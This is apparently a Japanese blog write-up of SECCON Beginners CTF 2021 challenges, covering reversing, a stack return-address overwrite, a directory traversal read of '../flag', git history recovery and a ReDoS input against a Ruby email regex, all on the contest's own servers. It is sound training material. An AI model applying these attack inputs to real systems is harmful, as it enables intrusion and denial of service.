SECCON Beginners CTF 2021 writeup

※本サイトはアフィリエイト広告を利用しています。
広告

SECCON Beginners CTFと本記事について

CTFとは、Capture The Flagの略で旗取りゲームです。
CTFにはいくつかの競技形式がありますが、今回参加したSECCON Beginners CTFではJeopardy形式といいもので開催されています。
Jeopardy形式は、様々なITスキルを用いて隠された旗(フラグ:文字列)を見つけて、送信したら得点を獲得でき、その得点を競う競技です。

今回は基本的な問題のみですが、いくつか問題を解きましたので、初めてwriteupとして解答の流れを記載します。

welcome

(1) welcome
以下の問題文に記載がありますが、コミュニケーションツールであるDiscordのannaouncementsチャネルにアクセスする問題です。
記載されているDiscordのURLにアクセスします。
SECCON Beginners CTF 2021_welcome_welcome(1)

左部にある「annaouncements」をクリックすると、チャットに以下のフラグが表示されていました。
そのフラグを送信するとポイントを獲得できました。
SECCON Beginners CTF 2021_welcome_welcome(2)

crypto

(1) simple_RSA
以下の問題文に記載がありますが、提供されたファイルを解読してRSA暗号化を復号化する問題です。
SECCON Beginners CTF 2021_crypto_simple_RSA(1)
提供されたファイルを展開すると、プログラム(problem.py)と出力結果(output.txt)からフラグを復号化したら出てくると思いますが、わかりませんでした。。。。

reversing

(1) only_read
以下の問題文に記載がありますが、提供されたファイルのバイナリを読む問題です。
SECCON Beginners CTF 2021_reversing_only_read(1)

提供されたファイルをIDA Freewireを開いたところ、ユーザが入力した文字列が正しい文字かどうか一文字ずつcmpで比較しているところがわかります。
全ての文字が一致したら、「Correct(正しい)」という文字を出力しているため、比較文字列がフラグです。
SECCON Beginners CTF 2021_reversing_only_read(2)
SECCON Beginners CTF 2021_reversing_only_read(3)
SECCON Beginners CTF 2021_reversing_only_read(4)

また、不要ですが、念のため以下の手順でファイルを実行して、フラグが正しいか確認できます。
ファイル形式を確認するために、Linux上で以下のfileコマンドを実行します。
「ELF 64-bit」という出力がありましたので、Linux用の64bitの実行ファイルであることがわかります。

# file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=416db4d9fdab2e1d244740eabdf3ee326dc0fcef, for GNU/Linux 3.2.0, not stripped

以下のコマンドを実行して、IDA Freewireにて確認したフラグを入力します。

# chmod +x chall
# ./chall
ctf4b{c0n5t4nt_f0ld1ng}  ← IDA Freewireにて確認したフラグを入力
Correct


(2) children
以下の問題文に記載がありますが、提供されたファイルの情報を確認して、FLAGを取得することがわかります。
SECCON Beginners CTF 2021_reversing_only_children(1)

ファイル形式を確認するために、Linux上で以下のfileコマンドを実行します。
「ELF 64-bit」という出力がありましたので、Linux用の64bitの実行ファイルであることがわかります。

# file children
children: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=7441c355b65d6969523f8f1bbab30f522b444be5, not stripped

以下のコマンドを実行して、提供されたファイルを実行します。10回子プロセスのプロセスID(PID)を答える旨のメッセージが出力されました。

# chmod +x children
# ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!

別のターミナルを開いて起動するプロセス確認するpsコマンドの結果をchildrenでフィルタした結果を表示します。
出力結果から子プロセスのプロセスID(PID)が「2032」であることがわかりますので、「2032」を入力して[ENTER]を押します。

# ps aux | grep children
root      2031  0.0  0.0   4220   348 pts/0    S+   21:47   0:00 ./children
root      2032  0.0  0.0      0     0 pts/0    Z+   21:47   0:00 [children] <defunct>
root      2056  0.0  0.0 112808   964 pts/1    R+   21:48   0:00 grep --color=auto children

上記のpsコマンドで確認した子プロセスID(PID)を10回入力すると、最後に以下の内容が表示されます。
メッセージを確認すると、childrenのプロセス数を答える問題のようです。
親プロセスと子プロセスの数の合計が15個でしたので、15を入力して[ENTER]を押しました。

How many children were born?

以下のコマンドをで確認しました。

# ps aux | grep children
root      2031  0.0  0.0   4220   500 pts/0    S+   21:47   0:00 ./children
root      2062  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2065  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2068  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2071  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2072  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2075  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2076  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2079  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2080  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2083  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2084  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2087  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2088  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2091  0.0  0.0      0     0 pts/0    Z+   21:56   0:00 [children] <defunct>
root      2095  0.0  0.0 112808   964 pts/1    R+   21:57   0:00 grep --color=auto children

フラグ(ctf4b{p0werfu1_tr4sing_t0015_15_usefu1})が出力されました。

pwnable

(1) rewriter
以下の問題文に記載から任意のアドレスを書き換える問題であることがわかります。
SECCON Beginners CTF 2021_pwnable_rewriter(1)
提供されたファイルを確認したところ、以下の「src.c」と「chall」の2つのファイルがあります。
「src.c」の内容からレジストリの値を変更するプログラムであることがわかります。「win()関数」を実行したらフラグが表示されることがわかります。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFF_SIZE 0x20

void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

void show_stack(unsigned long *stack);

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}

void show_stack(unsigned long *stack) {
    printf("\n%-20s|%-20s\n", "[Addr]", "[Value]");
    puts("====================+===================");
    for (int i = 0; i < 10; i++) {
        printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]);
        if (&stack[i] == stack)
            printf(" <- buf");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE))
            printf(" <- target");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8))
            printf(" <- value");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10))
            printf(" <- saved rbp");
        if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

ncコマンドを実行して問題文にあるサーバにアクセスします。
関数が終わったら戻りアドレス(saved ret addr)の命令から順次実行しますので、戻りアドレス(0x00007ffe85e82dd8)の値を「win()関数のアドレス(0x4011f6)」に変更します。
win()関数のアドレスは提供されたファイルをIDA Freewireで開いて以下の赤枠の箇所を確認しました。
SECCON Beginners CTF 2021_pwnable_rewriter(2)

# nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffe85e82da0 | 0x0000000000000000  <- buf
 0x00007ffe85e82da8 | 0x0000000000000000
 0x00007ffe85e82db0 | 0x0000000000000000
 0x00007ffe85e82db8 | 0x0000000000000000
 0x00007ffe85e82dc0 | 0x0000000000000000  <- target
 0x00007ffe85e82dc8 | 0x0000000000000000  <- value
 0x00007ffe85e82dd0 | 0x0000000000401520  <- saved rbp
 0x00007ffe85e82dd8 | 0x00007f3b33571bf7  <- saved ret addr
 0x00007ffe85e82de0 | 0x0000000000000001
 0x00007ffe85e82de8 | 0x00007ffe85e82eb8

Where would you like to rewrite it?
> 0x00007ffe85e82dd8
0x00007ffe85e82dd8 = 0x4011f6

[Addr]              |[Value]
====================+===================
 0x00007ffe85e82da0 | 0x3666313130347830  <- buf
 0x00007ffe85e82da8 | 0x643238653538000a
 0x00007ffe85e82db0 | 0x00000000000a3864
 0x00007ffe85e82db8 | 0x0000000000000000
 0x00007ffe85e82dc0 | 0x00000000004011f6  <- target
 0x00007ffe85e82dc8 | 0x00007ffe85e82dd8  <- value
 0x00007ffe85e82dd0 | 0x0000000000401520  <- saved rbp
 0x00007ffe85e82dd8 | 0x00000000004011f6  <- saved ret addr
 0x00007ffe85e82de0 | 0x0000000000000001
 0x00007ffe85e82de8 | 0x00007ffe85e82eb8

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

web

(1) osoba
以下の問題文に記載がありますが、サーバ上の/flagにあるファイルを読み込む問題です。
SECCON Beginners CTF 2021_web_osoba(1)
問題文中のURLにアクセスすると、以下の画面が表示されます。Webページの構成を確認するために、「詳細を見る」をクリックしました。
SECCON Beginners CTF 2021_web_osoba(2)
URLが以下の赤枠になっていましたので、パラメータにファイル名の相対パスが表示されていることから、ディレクトリトラバーサルの脆弱性があるのではないかと推測できます。
SECCON Beginners CTF 2021_web_osoba(3)-1

ここで、提供されたファイルを展開すると、フォルダの構成が以下のようになっていることがわかります。以下の赤文字の箇所がWebページで表示されているファイルパス(public/wip.html)で緑色のファイル名(flag)が表示させたいファイルです。

  • 【フォル構成】
  • ・osoba
  •    ・app
  •      ・src
  •         ・public
  •           ・index.html
  •           ・kikin.html
  •           ・neck.html
  •           ・wip.html
  •         ・app.py
  •         ・requirements.txt
  •         ・uwsgi.ini
  •      ・Dockerfile
  •      ・flag
  •    ・nginx
  •      ・nginx.conf
  •    ・docker-compose.yml

上記のフォルダ構成からパラメータで指定しているファイルを「public/wip.html」を「../flag」に変更すると、「flag」が表示されますので、アクセスすると以下のようにフラグが表示されます。
SECCON Beginners CTF 2021_web_osoba(4)

misc

(1) git-leak
以下の問題文に記載から提供されたGitのファイルから上書き前のデータを取得する問題のようです。
SECCON Beginners CTF 2021_misc_git-leak(1)

Linux(CentOS)上で提供されたファイル格納して、zipファイルを解凍するコマンド(unzip)とgitコマンドをインストールします。
その後、ファイルを展開して、Gitファイルの更新履歴を確認します。

# yum -y install unzip
# yum -y install git
# unzip git-leak.zip
# cd dist
# git reflog
e0b545f HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit

参考までに、「git reflog」コマンドで出力されたプロセスは以下の3つです。

プロセス概要
commit変更内容を適用するプロセス。
rebaseコミットのシーケンスを新しいベースコミットに移動または組み合わせるプロセス。
resetHEADの位置を変更するプロセス。

「git reflog」コマンドの結果のIDを用いて、「git cat-file -p [ID]」コマンドを実行して、それぞれのデータを確認してきます。
以下のコマンドを実行したら、「flag.txt」が見つかりフラグを取得できました。

# git cat-file -p 7387982
tree a5b6b52f47aba96730ab61471ddcdff864e5dd8c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900

feat: めもを追加

# git cat-file -p a5b6b52f47aba96730ab61471ddcdff864e5dd8c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6    README.md
100644 blob 4cbb035d2ff072127b4e22919485127d2273e88e    flag.txt
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842    note.md

# git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

(2) Mail_Address_Validator
以下の問題文に記載から提供されたファイルを参考にして、正しいメールアドレスを調べる問題のようです。
SECCON Beginners CTF 2021_misc_Mail_Address_Validator(1)
提供されたファイルは以下の通りです。

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

上記のプログラムは5秒間たったら、タイムアウトエラーになり、フラグが出力されます。
その正規表現、異議あり! 〜 ReDoSについて – Speaker Deck」の記事を参考にすると、ReDoSの脆弱性を悪用するとDoS状態になり、タイムアウトされることがわかります。
例えば、以下のような入力を実行します。

# nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}


SECCON Beginners CTF 2021に関する記事

SECCON Beginners CTF 2021についての関連記事は以下の通りです。
必要に応じて、ご確認ください。

Noタイトル記事の概要
1SECCON Beginners CTF 2021 writeup以下のカテゴリの問題のwriteupを記載します。
【カテゴリ:welcome】
  ・welcome
【カテゴリ:crypto】
  ・imple_RSA
【カテゴリ:reversing】
  ・only_read
  ・children
【カテゴリ:pwnable】
  ・rewriter
【カテゴリ:web】
  ・osoba
【カテゴリ:misc】
  ・git-leak
  ・Mail_Address_Validator
2SECCON Beginners CTF 2021 writeup
(crypto:simple_RSA)
cryptカテゴリのsimple_RSAの問題の
writeupを記載します。
3SECCON Beginners CTF 2021 writeup
(crypto:Logical_SEESAW)
cryptカテゴリのLogical_SEESAWの問題の
writeupを記載します。
4SECCON Beginners CTF 2021 writeup
(crypto:GFM)
cryptカテゴリのGFMの問題の
writeupを記載します。
5SECCON Beginners CTF 2021 writeup
(crypto:Imaginary)
cryptカテゴリのImaginaryの問題の
writeupを記載します。
6SECCON Beginners CTF 2021 writeup
(web:Werewolf)
webカテゴリのWerewolfの問題の
writeupを記載します。
7SECCON Beginners CTF 2021 writeup
(web:check_url)
webカテゴリのcheck_urlの問題の
writeupを記載します。
8SECCON Beginners CTF 2021 writeup
(web:json)
webカテゴリのjsonの問題の
writeupを記載します。
9SECCON Beginners CTF 2021 writeup
(web:cant_use_db)
webカテゴリのcant_use_dbの問題の
writeupを記載します。